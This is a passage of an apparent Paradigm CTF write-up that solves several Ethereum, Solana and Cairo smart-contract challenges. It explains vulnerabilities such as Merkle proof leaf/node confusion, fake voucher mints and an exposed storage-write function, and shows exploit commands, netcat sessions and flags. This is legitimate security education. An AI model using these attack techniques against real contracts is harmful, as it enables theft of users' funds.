70545b904b6d04f680caa247f64736f6c63430008100033<br>gasUsed : 171</pre><p>We then connected to the server and sent the runtime bytecode we got.</p><pre>$ nc 34.68.217.8 31337<br>1 - factorize<br>action? 1<br>ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589df1893973e19b6efc<br>runtime bytecode: 608060405234801561001057600080fd5b506004361061002b5760003560e01c80631b3abba014610030575b600080fd5b61004361003e36600461014a565b61005c565b6040805192835260208301919091520160405180910390f35b60405163f877cb1960e01b81526000908190737109709ecfa91a80626ff3989d68f67f5b1dd12d908290829063f877cb19906100b390600401602080825260049082015263464c414760e01b604082015260600190565b6000604051808303816000875af11580156100d2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526100fa9190810190610179565b90506000610109826020610126565b90506000610118836040610126565b919791965090945050505050565b81516000908390820361013d575060009050610144565b5050818101515b92915050565b60006020828403121561015c57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561018c57600080fd5b825167ffffffffffffffff808211156101a457600080fd5b818501915085601f8301126101b857600080fd5b8151818111156101ca576101ca610163565b604051601f8201601f19908116603f011681019083821181831017156101f2576101f2610163565b81604052828152888684870101111561020a57600080fd5b600093505b8284101561022c578484018601518185018701529285019261020f565b60008684830101528096505050505050509291505056fea26469706673582212209120a8f35834f204af3746d2b256675b3c4330670545b904b6d04f680caa247f64736f6c63430008100033</pre><pre>you didn&#39;t factor the number. 36303988286885487241881563943446880517349042511396977973869722935105628174645 * 43057057880393007403564109894319249048263545241531721173866963997594434404352 != 47914332001412349049026046261367819686545943268066325658829054066493538297033</pre><p>Even when the result shows that we did not factor the number correctly, the two numbers from the output are actually parts of the flags we have retrieved and encoded. Python can then be used to decode the numbers we got.</p><pre>$ ipython<br>Python 3.8.10 (default, Jun 22 2022, 20:18:18)<br>Type &#39;copyright&#39;, &#39;credits&#39; or &#39;license&#39; for more information<br>IPython 7.23.0 -- An enhanced Interactive Python. Type &#39;?&#39; for help.</pre><pre>In [1]: from Crypto.Util.number import long_to_bytes</pre><pre>In [2]: long_to_bytes(36303988286885487241881563943446880517349042511396977973869722935105628174645)<br>Out[2]: b&#39;PCTF{d0n7_y0u_10v3_f1nd1n9_0d4y5&#39;</pre><pre>In [3]: long_to_bytes(43057057880393007403564109894319249048263545241531721173866963997594434404352)<br>Out[3]: b&#39;_1n_4_c7f}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#39;</pre><p><strong>Flag:</strong> PCTF{d0n7_y0u_10v3_f1nd1n9_0d4y5_1n_4_c7f}</p><h4>MERKLEDROP</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/0*U3uTY_vQgHefND-i.png" /></figure><p><strong>CHALLENGE:</strong> MERKLEDROP<br><strong>AUTHOR:</strong> Riley Holterhus<br><strong>TAGS:</strong> PWN<br><strong>DESCRIPTION:</strong> Were you whitelisted?<br><strong>ACCESS:</strong> nc 35.188.148.32 31337<br><strong>RESOURCES:</strong><br><a href="https://github.com/paradigmxyz/paradigm-ctf-infrastructure">https://github.com/paradigmxyz/paradigm-ctf-infrastructure</a><br><a href="https://ctf.paradigm.xyz/resources/merkledrop.zip">https://ctf.paradigm.xyz/resources/merkledrop.zip</a></p><p>This challenge is, basically, an airdrop distributor contract using <a href="https://en.wikipedia.org/wiki/Merkle_tree">Merkle tree</a> to verify the claimer.</p><p><strong>File structure</strong><br>- contracts/Setup.sol This file has two contracts, Token and Setup. The Setup contract’s constructor deploys the MerkleDistributor contract and has the isSolved() function to check the problem’s solve status.<br>- contracts/MerkleDistributor.sol This is the contract that holds the airdrop reward. It has the claim() function, which the only non-view/pure function in the contract.<br>- contracts/MerkleProof.sol This is the MerkleProof library. it has only verify() function for verifying whether the node is in the Merkle tree.<br>- tree.json A list of addresses and their index, Merkle proofs, and claim amount.</p><p>To solve this challenge, you have to drain all of the airdrop reward from the contract without claiming every airdrop. What a contradiction.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*WHTVxk1ioMOLQV-W.png" /><figcaption><strong>contracts/Setup.sol</strong></figcaption></figure><p>In the MerkleProof contract, there is only one function for verifying the root and the node of Merkle tree. Everything seems normal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*TBoQWnp0bg0k-GCP.png" /><figcaption><strong>contracts/MerkleProof.sol</strong></figcaption></figure><p>In the MerkleDistributor contract, our star of this problem, the claim() function takes index, address, amount, and an array of merkleProof to claim the airdrop and transfers the reward to the supplied address parameter with the amount of amount parameter. We can pass the first condition of the problem by using every valid data from tree.json but we will be stuck on the second condition.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*wNvj5V0zExESvaws.png" /><figcaption><strong>contracts/MerkleDistributor.sol</strong></figcaption></figure><p>If we look closely on the the keccak256() functions on the MerkleDistributor contract and the MerkleProof contract, we can smell something fishy from here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8ulEBG32tga-kYFX.png" /><figcaption><strong>contracts/MerkleDistributor.sol</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5_iDfIMO2zzRy7Sm.png" /><figcaption><strong>contracts/MerkleProof.sol</strong></figcaption></figure><p>The challenge uses the abi.encodePacked() function on both MerkleDistributor and MerkleProof contracts. On the MerkleDistributor contract, it takes uint256(index), address(account), and uint96(amount) as arguments. The result from the function will be 32 bytes(uint256) + 20 bytes (address) + 12 bytes (uint96) = 64 bytes.</p><p>Likewise, in the MerkleProof contract, the abi.encodePacked() function takes 32 bytes (byte32) + 32 bytes (byte32) and results in 64 bytes output, which the size of the output is <strong>“coincidentally”</strong> the same as the MerkleDistributor contract.</p><p>So, we can split two concatenated proofs into the size of uint256(index), address(account), uint96(amount) as arguments and pass them into the claim() function. The verifying function cannot distinguish between the leaf node and the branch node of the tree and the verifying function should be success.</p><p>If we can find a combination of index, address, and amount that is included in the Merkle tree and the amount can be sum with other claims to be exactly the same as the total reward, we can solve this challenge.</p><p>We wrote a solver in Go to find the node that matches our conditions above.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*I5vvtHUmZQS5S1Su.png" /><figcaption><strong>merkledrop-solver/main.go</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qgJ8M76U7C1P0ul3.png" /><figcaption><strong>merkledrop-solver/main.go</strong></figcaption></figure><p>After running the solver, we got the answer that we are looking for. We have to claim two times. In the first time, we have to claim with the following values:</p><ul><li>index: 0xd43194becc149ad7bf6db88a0ae8a6622e369b3367ba2cc97ba1ea28c407c442</li><li>account: 0x000000000000000000000000d48451c19959e2d9bd4e620fbe88aa5f6f7ea72a</li><li>amount: 0xf40f0c122ae08d2207b</li><li>proofs: [0x8920c10a5317ecff2d0de2150d5d18f01cb53a377f4c29a9656785a22a680d1d, 0xc999b0a9763c737361256ccc81801b6f759e725e115e4a10aa07e63d27033fde, 0x842f0da95edb7b8dca299f71c33d4e4ecbb37c2301220f6e17eef76c5f386813, 0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c, 0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5]</li></ul><p>The index parameter will be the first proof (the first 32 bytes) and the account will be the first 20 bytes of the second proof and amount will be the last 12 bytes of the second proof.</p><pre>$ go build<br>$ ./merkledrop-solver<br>[+] Found a good node that can be used<br>Raw Node:  d43194becc149ad7bf6db88a0ae8a6622e369b3367ba2cc97ba1ea28c407c442d48451c19959e2d9bd4e620fbe88aa5f6f7ea72a00000f40f0c122ae08d2207b<br>Index:  0xd43194becc149ad7bf6db88a0ae8a6622e369b3367ba2cc97ba1ea28c407c442<br>Account:  0x000000000000000000000000d48451c19959e2d9bd4e620fbe88aa5f6f7ea72a<br>Amount:  0xf40f0c122ae08d2207b<br>Proof:  [0x8920c10a5317ecff2d0de2150d5d18f01cb53a377f4c29a9656785a22a680d1d 0xc999b0a9763c737361256ccc81801b6f759e725e115e4a10aa07e63d27033fde 0x842f0da95edb7b8dca299f71c33d4e4ecbb37c2301220f6e17eef76c5f386813 0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c 0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5]</pre><pre>[*] SubsetSum has been found (please claim the following)<br>Index:  8<br>Account:  0x249934e4C5b838F920883a9f3ceC255C0aB3f827<br>Amount:  0xa0d154c64a300ddf85<br>Proof:  [0xe10102068cab128ad732ed1a8f53922f78f0acdca6aa82a072e02a77d343be00 0xd779d1890bba630ee282997e511c09575fae6af79d88ae89a7a850a3eb2876b3 0x46b46a28fab615ab202ace89e215576e28ed0ee55f5f6b5e36d7ce9b0d1feda2 0xabde46c0e277501c050793f072f0759904f6b2b8e94023efb7fc9112f366374a 0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c 0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5]<br>-------------------------------------------------------------</pre><p>This diagram is part of the Merkle tree verification when we are claiming the claim at index 37.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/0*QMJJNLtwn9FB6tVt.png" /></figure><p>This diagram is part of the Merkle tree verification when we are using 0xd43194becc149ad7bf6db88a0ae8a6622e369b3367ba2cc97ba1ea28c407c442 as the index value, 0xd48451c19959e2d9bd4e620fbe88aa5f6f7ea72a as the account value and 0xf40f0c122ae08d2207b as the amount value. The path of the calculation will eventually get 0x225de26d438b50d8... like we had done with the valid claim data on the previous diagram.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/0*cUT_O80QN02HEh5C.png" /></figure><p>We wrote an exploit contract to call the claim function using the data we got.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*CAHg3FXFXXtUEAba.png" /><figcaption><strong>contracts/Exploit.sol</strong></figcaption></figure><p>We then started the challenge instance by connecting to the server.</p><pre>$ nc 35.188.148.32 31337<br>1 - launch new instance<br>2 - kill instance<br>3 - get flag<br>action? 1<br>ticket please: c1102aa71c717aca338df7941f00f13cbd18448d5884e69a227beb9073e19e</pre><pre>your private blockchain has been deployed<br>it will automatically terminate in 30 minutes<br>here&#39;s some useful information<br>uuid:           8115689c-c95d-4c80-8193-77a2baa2649c<br>rpc endpoint:   http://35.188.148.32:8545/8115689c-c95d-4c80-8193-77a2baa2649c<br>private key:    0x7f084c692be8719350ff7bcbe48565d21c1f4e6212df84a11680e4ba7723178a<br>setup contract: 0x5813ba57FedC9d79348E4D596BeE61842f2101A9</pre><p>After that, the Exploit contract was deployed.</p><pre>$ forge create --rpc-url http://35.188.148.32:8545/8115689c-c95d-4c80-8193-77a2baa2649c --private-key 0x7f084c692be8719350ff7bcbe48565d21c1f4e6212df84a11680e4ba7723178a contracts/Exploit.sol:Exploit<br>[⠢] Compiling...<br>No files changed, compilation skipped<br>Deployer: 0xA5D642447Ff6d8Cc08B07FBc2aede0117b05afa8<br>Deployed to: 0xDed2fA947ddD29B2da4dC5921a0D8bD0A0b4C53c<br>Transaction hash: 0xcb30e8c293a665788412b6719a2240ff9116b55fb1a676dd1ac13cfef2ee0f20</pre><p>We called the merkleDistributor() function of the Setup contract to get the address of the MerkleDistributor contract.</p><pre>$ cast call --rpc-url http://35.188.148.32:8545/8115689c-c95d-4c80-8193-77a2baa2649c --private-key 0x7f084c692be8719350ff7bcbe48565d21c1f4e6212df84a11680e4ba7723178a 0x5813ba57FedC9d79348E4D596BeE61842f2101A9 &quot;merkleDistributor()&quot;<br>0x00000000000000000000000041daeba481da7cfaf2975439551cc784d35ce784</pre><p>The exploit() function was then called using the address of the distributor contract.</p><pre>cast send  --rpc-url http://35.188.148.32:8545/8115689c-c95d-4c80-8193-77a2baa2649c --private-key 0x7f084c692be8719350ff7bcbe48565d21c1f4e6212df84a11680e4ba7723178a 0xDed2fA947ddD29B2da4dC5921a0D8bD0A0b4C53c &quot;exploit(address)&quot; -- 0x41daeba481da7cfaf2975439551cc784d35ce784</pre><p>Lastly, we connected to the server again to get the flag.</p><pre>$ nc 35.188.148.32 31337<br>1 - launch new instance<br>2 - kill instance<br>3 - get flag<br>action? 3<br>ticket please: c1102aa71c717aca338df7941f00f13cbd18448d5884e69a227beb9073e19e<br>PCTF{N1C3_Pr00F_8r0}</pre><p><strong>Flag:</strong> PCTF{N1C3_Pr00F_8r0}</p><h3>Solana</h3><h4>OTTER-WORLD</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Oq0SYLX9Z5jRIZQy.png" /></figure><p><strong>CHALLENGE:</strong> OTTER-WORLD<br><strong>AUTHOR:</strong> NotDeGhost<br><strong>TAGS:</strong> SANITY-CHECK<br><strong>DESCRIPTION:</strong> Otter World!<br><strong>ACCESS:</strong> nc 34.72.24.70 8080<br><strong>RESOURCES:</strong><br><a href="https://github.com/paradigmxyz/paradigm-ctf-infrastructure">https://github.com/paradigmxyz/paradigm-ctf-infrastructure</a><br><a href="https://ctf.paradigm.xyz/resources/otter-world.tar.gz">https://ctf.paradigm.xyz/resources/otter-world.tar.gz</a></p><p>This challenge is a sanity check Solana challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Z0UG10qvopO6gHqz.png" /><figcaption><strong>main.rs</strong></figcaption></figure><p>What you need to do is to call the get_flag() function with the correct value for the magic parameter, which is specified in the contract as 0x1337 * 0x7331.</p><p>The challenge has already provided a template for the solution program as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*kLKjFA0tMyrNPe4D.png" /><figcaption><strong>client/framework-solve/solve/programs/solve/src/lib.rs</strong></figcaption></figure><p>As annotated with /* TODO */ at line 22, we can add * 0x7331 to match the value in the challenge as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*kiBfchoWIm6k5DBm.png" /><figcaption><strong>client/framework-solve/solve/programs/solve/src/lib.rs</strong></figcaption></figure><p>The IP address of the server should be modified to match the challenge provided server in the following file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*oQPIqHPcbxnfDy_D.png" /><figcaption><strong>client/framework-solve/src/main.rs</strong></figcaption></figure><p>The script can then be started using the script provided as follows:</p><pre>$ ./run.sh<br>...<br>congrats!<br>flag: &quot;PCTF{0tt3r_w0r1d_8c01j3}&quot;</pre><p><strong>Flag:</strong> PCTF{0tt3r_w0r1d_8c01j3}</p><h4>SOLHANA-1</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/987/0*rb2Qyz3baiip7lmp.png" /></figure><p><strong>CHALLENGE:</strong> SOLHANA-1<br><strong>AUTHOR:</strong> hana (@dumbcontract2)<br><strong>TAGS:</strong> PWN<br><strong>DESCRIPTION:</strong> theres a brand new ponzi scheme in town that lets people deposit and withdraw their bitcoin. why would they want to do this? no one knows<br><strong>ACCESS:</strong> nc 35.188.83.0 3000<br><strong>RESOURCES:</strong><br><a href="https://github.com/paradigmxyz/paradigm-ctf-infrastructure">https://github.com/paradigmxyz/paradigm-ctf-infrastructure</a><br><a href="https://ctf.paradigm.xyz/resources/solhana-ctf.tar.gz">https://ctf.paradigm.xyz/resources/solhana-ctf.tar.gz</a></p><p>From the zip file, it provides the source code of the server that will verify whether the provided account state is correct or not in order to retrieve the flag.</p><p><strong>File Structure</strong></p><ul><li>chain/: A source code of the challenges’ programs. This is where we observe how the program works and analyze the vulnerabilities</li><li>client/: A skeleton code for you to craft the magic in the attack() function</li><li>elf/: built bpf binaries of all challenges’ programs. This can be used to test locally via solana-test-validator node</li><li>server/: A built program to communicate with the server. There is no need to configuration here unless you want to test it in local.</li></ul><p>SOLHANA-1 challenge is a platform that allows the user to deposit and withdraw token through the platform.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*CAoYqeDVVk7jjVia.png" /><figcaption><strong>server/src/challenge.rs</strong></figcaption></figure><p>The condition to retrieve the flag of this problem is to make the deposit_account account has 0 balance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*2_RoGrTp7sk1EBri.png" /><figcaption><strong>server/src/challenge.rs</strong></figcaption></figure><p>During the challenge initialization, 10 Bitcoin is minted to Satoshi, which is then deposited into the deposit_account account through the deposit() function.</p><p>Therefore, the goal is to remove these 10 Bitcoin from this funded deposit_account account.</p><p>Let’s check what the program’s functionalities offer to the users.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Tf_UzDaNtua05NNp.png" /><figcaption><strong>chain/programs/challenge1/src/lib.rs</strong></figcaption></figure><ul><li>setup_for_player() — create a state account which is a root of trusted account of the platform</li><li>deposit() — deposit token from the depositor account to the deposit account and mint the voucher token to the depositor_voucher account.</li><li>withdraw() — withdraw the deposited token from the deposit account to the depositor account and burn the voucher token from the depositor_voucher account.</li></ul><p>This means if we want to make the balance of that account to be 0, we can either make it through the deposit() and the withdraw() function.</p><p>The requirement is that the user who withdraws must have the voucher to be burned during the withdrawal. Unfortunately, in the setup, there is no voucher minted to the users.</p><p>What if we create a fake token mint and fake token account and use it as the voucher to fulfill the withdraw() function’s condition?</p><p>Let’s check the account verification mechanism whether the attack scenario is possible or not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*IH5rqPRPeI8T7H-0.png" /><figcaption><strong>chain/programs/challenge1/src/lib.rs</strong></figcaption></figure><p>The program only verifies whether the voucher_mint account has the mint::authority = state and token::decimals = deposit_mint.decimals.</p><p>Therefore, what we need to do to attack is as follows:<br>1. Create a fake mint program with the same token decimal as Bitcoin (6 decimals)<br>2. Mint at least 10 vouchers to the player’s fake voucher account to match the balance we need to burn on the withdrawal<br>3. Transfer the account authority to the `state` account<br>4. Withdraw from the `deposit_account` account using the fake voucher created</p><p>The attack script is as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*gy36FLSBI7dYGtDt.png" /><figcaption><strong>challenge1.js</strong></figcaption></figure><p>We run the script and got the flag.</p><pre>win! your flag is: PCTF{unsafe_voucher_vouched_vouchsafely}</pre><p><strong>Flag: </strong>PCTF{unsafe_voucher_vouched_vouchsafely}</p><h4>SOLHANA-2 (Solved Locally)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/0*zrr6qtk8wzML1VPS.png" /></figure><p><strong>CHALLENGE:</strong> SOLHANA-2<br><strong>AUTHOR:</strong> hana (@dumbcontract2)<br><strong>TAGS:</strong> PWN<br><strong>DESCRIPTION:</strong> theres a brand new ponzi scheme in town that lets people deposit and withdraw their ethereum. why would they want to do this? no one knows<br><strong>ACCESS:</strong> nc 35.188.83.0 3000<br><strong>RESOURCES:</strong><br><a href="https://github.com/paradigmxyz/paradigm-ctf-infrastructure">https://github.com/paradigmxyz/paradigm-ctf-infrastructure</a><br><a href="https://ctf.paradigm.xyz/resources/solhana-ctf.tar.gz">https://ctf.paradigm.xyz/resources/solhana-ctf.tar.gz</a></p><p>SOLHANA-2 is like SOLHANA-1, but with the liquidity pool and swap features (like AMM) added.</p><p>This issue is solved locally, but failed when submitted. Therefore, the detail might be incorrect (which is the reason while it failed), but might give you the idea.</p><p>The condition to retrieve the flag of this problem is to make the token amount of those 3 pools to be at maximum 150_000_000</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ZQnkcQykkTYsVJsE.png" /><figcaption><strong>server/src/challenge.rs</strong></figcaption></figure><p>During setup, the challenge comes with the 3 liquidity token pools for swapping, which are wo_eth (8 decimals), so_eth (6 decimals), and st_eth (8 decimals) pools with the balance of 100_000_000 for each account. And for the player, there is also an initial balance for swapping to which are 1_000 for each account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xfIXQ_qMeMk9fDgm.png" /><figcaption><strong>server/src/challenge.rs</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*TvTNGbG-I_OBP-tj.png" /><figcaption><strong>server/src/challenge.rs</strong></figcaption></figure><p>So, let’s take a look at the added functionalities — add_pool() and swap().</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_RqsN0Ty8UH7ANzO.png" /><figcaption>add_pool() function</figcaption></figure><p>It assign the new added pool to the pool array of the state account without verifying whether it overwrites the existing one or not. So, this could be used to do something fancy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*kJQqrmHQtnmog-_C.png" /><figcaption>swap() function</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PIEjeJ3RknlNuMj5.png" /><figcaption>Swap struct</figcaption></figure><p>This function validates the token amount in case the token input and token output apply different decimals. The passed pool account must exist on pool array of the state account. Then, it transfer the token input to the pool token account and transfer the token output from the pool token account to the user in return.</p><p>We think you see the attack scenario now. What if we call add_pool() with the fake token mint (8 decimals) to make it exist in the state account. And then just simply swap that fake token with the balance that we just mint it to the player with the wo_eth ( 8 decimals) and st_eth (8 decimals) tokens, draining the balance of the required accounts. So the sum of the balances of all required accounts will be 100_000_000 which is less than 150_000_000, allowing us to pass the challenge condition.</p><p>Below is the attack script that pass the local test.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OjP-va5WguvLdOo5.png" /><figcaption><strong>challenge2.js</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8t0_LRFPWKk5cg7E.png" /><figcaption><strong>challenge2.js</strong></figcaption></figure><p>Unfortunately, we could not find out why our solution was not working remotely on the challenge server. 🙁</p><h3>Cairo</h3><h4>RIDDLE-OF-THE-SPHINX</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/0*YspGRrFrzwfXcMNE.png" /></figure><p><strong>CHALLENGE:</strong> RIDDLE-OF-THE-SPHINX<br><strong>DESCRIPTION:</strong> What walks on four legs in the morning, two legs in the afternoon, three legs in the evening, and no legs at night?<br><strong>ACCESS:</strong> nc 35.193.19.12 31337<br><strong>RESOURCES:</strong><br><a href="https://github.com/paradigmxyz/paradigm-ctf-infrastructure">https://github.com/paradigmxyz/paradigm-ctf-infrastructure</a><br><a href="https://ctf.paradigm.xyz/resources/riddle-of-the-sphinx.zip">https://ctf.paradigm.xyz/resources/riddle-of-the-sphinx.zip</a></p><p>This is a sanity check Cairo (Starknet) challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ckBrlBXqoc_IYpFN.png" /><figcaption><strong>riddle.cairo</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Yp2BPqsgoa38hoja.png" /><figcaption><strong>chal.py</strong></figcaption></figure><p>To solve this challenge, we need to set the _solution state to “man” (0x6d616e) as checked in chal.py.</p><p>We started an instance and wrote a script to invoke the solve() function by with 0x6d616e as a parameter.</p><pre>$ nc 35.193.19.12 31337<br>1 - launch new instance<br>2 - kill instance<br>3 - get flag<br>action? 1<br>ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589aec9d3b74eb976eea8b<br>[+] deploying riddle</pre><pre>your private blockchain has been deployed<br>it will automatically terminate in 30 minutes<br>here&#39;s some useful information<br>uuid:           b05e6d76-d572-4fe6-9d91-8c13e9ec39f7<br>rpc endpoint:   http://b05e6d76-d572-4fe6-9d91-8c13e9ec39f7@35.193.19.12:5050<br>private key:    0x5544e5e246a2527f6d7ab7dabdcf24cd<br>contract:       0x51c0e03e96c6a8073c5a83b4975c0a6b801e72cc466e0a0b73f63832238e836</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*TFvtUgIE-fCL5zNo.png" /><figcaption><strong>solveRiddle.py</strong></figcaption></figure><p>We then run our script and connected to the server to get the flag.</p><pre>$ python3 solveRiddle.py<br>$ nc 35.193.19.12 31337<br>running until complete<br>1 - launch new instance<br>2 - kill instance<br>3 - get flag<br>action? 3<br>ticket please: c1102aa71c717aca338df7941f00f13cbd18448d588ae2813b78a39574ed9a30ef1a<br>PCTF{600D_1UCK_H4V3_FUN}</pre><p><strong>Flag:</strong> PCTF{600D_1UCK_H4V3_FUN}</p><h4>CAIRO-PROXY</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*glMxHZvET7G6pKms.png" /></figure><p><strong>CHALLENGE:</strong> CAIRO-PROXY<br><strong>DESCRIPTION:</strong> Just a simple proxy contract<br><strong>ACCESS:</strong> nc 35.226.167.223 31337<br><strong>RESOURCES:</strong><br><a href="https://github.com/paradigmxyz/paradigm-ctf-infrastructure">https://github.com/paradigmxyz/paradigm-ctf-infrastructure</a><br><a href="https://ctf.paradigm.xyz/resources/cairo-proxy.zip">https://ctf.paradigm.xyz/resources/cairo-proxy.zip</a></p><p>In this challenge, three Cairo files were given:</p><ul><li>almost_erc20.cairo: a simple implementation of ERC-20 token</li><li>proxy.cairo: a proxy contract that calls the function from the implementation through the fallback function</li><li>utils.cairo: utility contract for reading and writing state</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*htkm1tLM9CI7XD9y.png" /><figcaption><strong>proxy.cairo</strong></figcaption></figure><p>However, when we compile the contract, we can see that the auth_write_storage() function is also imported, allowing arbitrary write to any storage address.</p><pre>$ starknet-compile proxy.cairo --output proxy_compiled.json --abi proxy_abi.json</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/0*fc17ibFdSbU7cVR8.png" /><figcaption><strong>proxy_abi.json</strong></figcaption></figure><p>From chal.py, our goal is to set the balance of the player account to 50000e18.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*moVAqaHu9RD8wI2N.png" /><figcaption><strong>chal.py</strong></figcaption></figure><p>Therefore, we started the challenge instance and wrote a script to call auth_write_storage() to set the player balance as 50000e18.</p><pre>$ nc 35.226.167.223 31337<br>1 - launch new instance<br>2 - kill instance<br>3 - get flag<br>action? 1<br>ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589aec9d3b74eb976eea8b<br>[+] deploying erc20<br>[+] deploying proxy<br>[+] initializing contracts</pre><pre>your private blockchain has been deployed<br>it will automatically terminate in 30 minutes<br>here&#39;s some useful information<br>uuid:           ad90e214-daa1-4d8a-84a7-07d5e19cbb88<br>rpc endpoint:   http://ad90e214-daa1-4d8a-84a7-07d5e19cbb88@35.226.167.223:5050<br>private key:    0xb9ead7dbeea0bc762872eb4151beb545<br>contract:       0x4a1002d5de3333850793db0d87b2f129f9363981dbd29b0c96d38c7b71d1d6c</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*KSf33a14ABo3gChP.png" /><figcaption><strong>solveCairoProxy.py</strong></figcaption></figure><p>The script was run and we connected to the server to get the flag.</p><pre>$ python3 solveCairoProxy.py<br>Done!<br>$ nc 35.226.167.223 31337<br>1 - launch new instance<br>2 - kill instance<br>3 - get flag<br>action? 3<br>ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589aec9d3b74eb976eea8b<br>PCTF{d3f4u17_pu811c_5721k35_4941n}</pre><p><strong>Flag:</strong> PCTF{d3f4u17_pu811c_5721k35_4941n}</p><h4>CAIRO-AUCTION</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/0*4wOGoMCPJ0kesqwF.png" /></figure><p><strong>CHALLENGE:</strong> CAIRO-AUCTION<br><strong>AUTHOR:</strong> BitBaseBit, and Mauricio Perdomo<br><strong>TAGS:</strong> PWN<br><strong>DESCRIPTION:</strong> Just a simple auction contract<br><strong>ACCESS:</strong> nc 34.132.254.35 31337<br><strong>RESOURCES:</strong><br><a href="https://github.com/paradigmxyz/paradigm-ctf-infrastructure">https://github.com/paradigmxyz/paradigm-ctf-infrastructure</a><br><a href="https://ctf.paradigm.xyz/resources/cairo-auction.zip">https://ctf.paradigm.xyz/resources/cairo-auction.zip</a></p><pre>nc 34.132.254.35 31337<br>running until complete<br>1 - launch new instance<br>2 - kill instance<br>3 - get flag<br>action? 1<br>ticket please: c1102aa71c717aca338df7941f00f13cbd18448d588ae2813b78a39574ed9a30ef1a<br>[+] deploying erc20<br>[+] deploying auction<br>[+] initializing contracts</pre><pre>your private blockchain has been deployed<br>it will automatically terminate in 30 minutes<br>here&#39;s some useful information<br>uuid:           be377312-17e7-46f0-9ca3-441954bf8fb4<br>rpc endpoint:   http://be377312-17e7-46f0-9ca3-441954bf8fb4@34.132.254.35:5050<br>private key:    0x4a854d8b84ad09278aa8ecb7a156062e<br>contract:       0x7f76a540c6f4984db2b292cbfb49573c2765fb9076d61ff82225e536df1e912</pre><p>In this challenge, the goal is to win the auction by outbidding the winner. From chal.py, there were two other bidders that have bid for 100000e6, while the player has only 50000e6 tokens.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ZjXUy3JWzG0QMrAz.png" /><figcaption><strong>chal.py</strong></figcaption></figure><p>The raise_bid() function requires that the latest bid amount is over the winning bid to change the winner.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*yKH0JnZgeUsubrXq.png" /><figcaption><strong>auction.cairo</strong></figcaption></figure><p>While the unlock_funds() function can be used to unlock the funds by deducting the _auctionBalances.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QvBUulibqzhpvn1dcPmoXA.png" /><figcaption><strong>auction.cairo</strong></figcaption></figure><p>However, as Uint256 in Cairo is as struct composed of two felts (<a 